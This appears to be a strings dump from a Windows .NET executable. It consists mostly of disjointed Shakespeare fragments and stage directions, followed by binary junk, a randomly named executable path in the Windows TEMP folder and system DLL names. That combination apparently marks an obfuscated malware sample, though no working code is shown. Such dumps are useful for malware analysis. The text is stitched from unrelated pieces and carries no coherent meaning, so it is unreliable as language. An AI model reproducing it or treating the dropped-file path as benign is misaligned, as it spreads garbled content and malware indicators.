sport sake are</pre><pre>credit sake, make all whole. I am joined with no</pre><pre>[Enter CASSIO, and certain Officers with torches]</pre><pre>[Enter, several of both houses, who join the fray;</pre><pre>[Exeunt all but HORTENSIO]</pre><pre>What's thy passion!</pre><pre>Thou thinkest I am in sport: I pray thee tell me</pre><pre>rare carpenter? Come, in what key shall a man take</pre><pre>[Exeunt Guard]</pre><pre>cutting the web. After this, the vengeance on the</pre><pre>'For, lo, his passion, but an art of craft,</pre><pre>It did move him to passion, and therefore let's hear it.</pre><pre>[Exeunt COSTARD and JAQUENETTA]</pre><pre>[Exeunt all but Malcolm and Donalbain.</pre><pre>[Exeunt all but KING HENRY]</pre><pre>[Exeunt soldiers]</pre><pre>Your looks are pale and wild, and do import</pre><pre>The just proportion that we gave them out</pre><pre>[Exeunt all but BUCKINGHAM and GLOUCESTER]</pre><pre>And pass my daughter a sufficient dower,</pre><pre>[Exeunt Salarino and Salanio]</pre><pre>Cry you mercy, I took you for a joint-stool.</pre><pre>All made of passion and all made of wishes,</pre><pre>Than a joint burden laid upon us all.</pre><pre>Have there injointed them with an after fleet.</pre><pre>'Tis certain, then, for Cyprus.</pre><pre>If you will then see the fruits of the sport, mark</pre><pre>sing, certainly.</pre><pre>wept; for I must speak in passion, and I will do it</pre><pre>O Jesu, this is excellent sport, i' faith!</pre><pre>This beauteous lady Thisby is certain.</pre><pre>Why, then, it seems, some certain snatch or so</pre><pre>For shame, be friends, and join for that you jar:</pre><pre>carries his house on his head; a better jointure,</pre><pre>Then it is thus: the passions of the mind,</pre><pre>Some certain of the noblest-minded Romans</pre><pre>t you to buy them, along as you pass'd:</pre><pre>Who would not wish to be from wealth exempt,</pre><pre>[Flourish. Exeunt]</pre><pre>[Exeunt BARDOLPH and Page]</pre><pre>But if you fondly pass our proffer'd offer,</pre><pre>%UO"@</pre><pre>We'll pass the business privately and well.</pre><pre>[Exeunt TRANIO, Pedant, and BAPTISTA]</pre><pre>Nothing but his report.</pre><pre>The slave's report is seconded; and more,</pre><pre>Join'd with Aufidius, leads a power 'gainst Rome,</pre><pre>[Exeunt PRINCE HENRY and POINS]</pre><pre>inward between us, let it pass. I do beseech thee,</pre><pre>head: and among other important and most serious</pre><pre>designs, and of great import indeed, too, but let</pre><pre>that pass: for I must tell thee, it will please his</pre><pre>heart, let that pass. By the world, I recount no</pre><pre>fable: some certain special honours it pleaseth his</pre><pre>travel, that hath seen the world; but let that pass.</pre><pre>That drums him from his sport, and speaks as loud</pre><pre>Most noble Caesar, shalt thou have report</pre><pre>zcÁ</pre><pre>%WinDir%\TEMP\gaumoefy7ic7km0c.exe</pre><pre>mscoree.dll</pre><pre>KERNEL32.DLL</pre></pre></pre>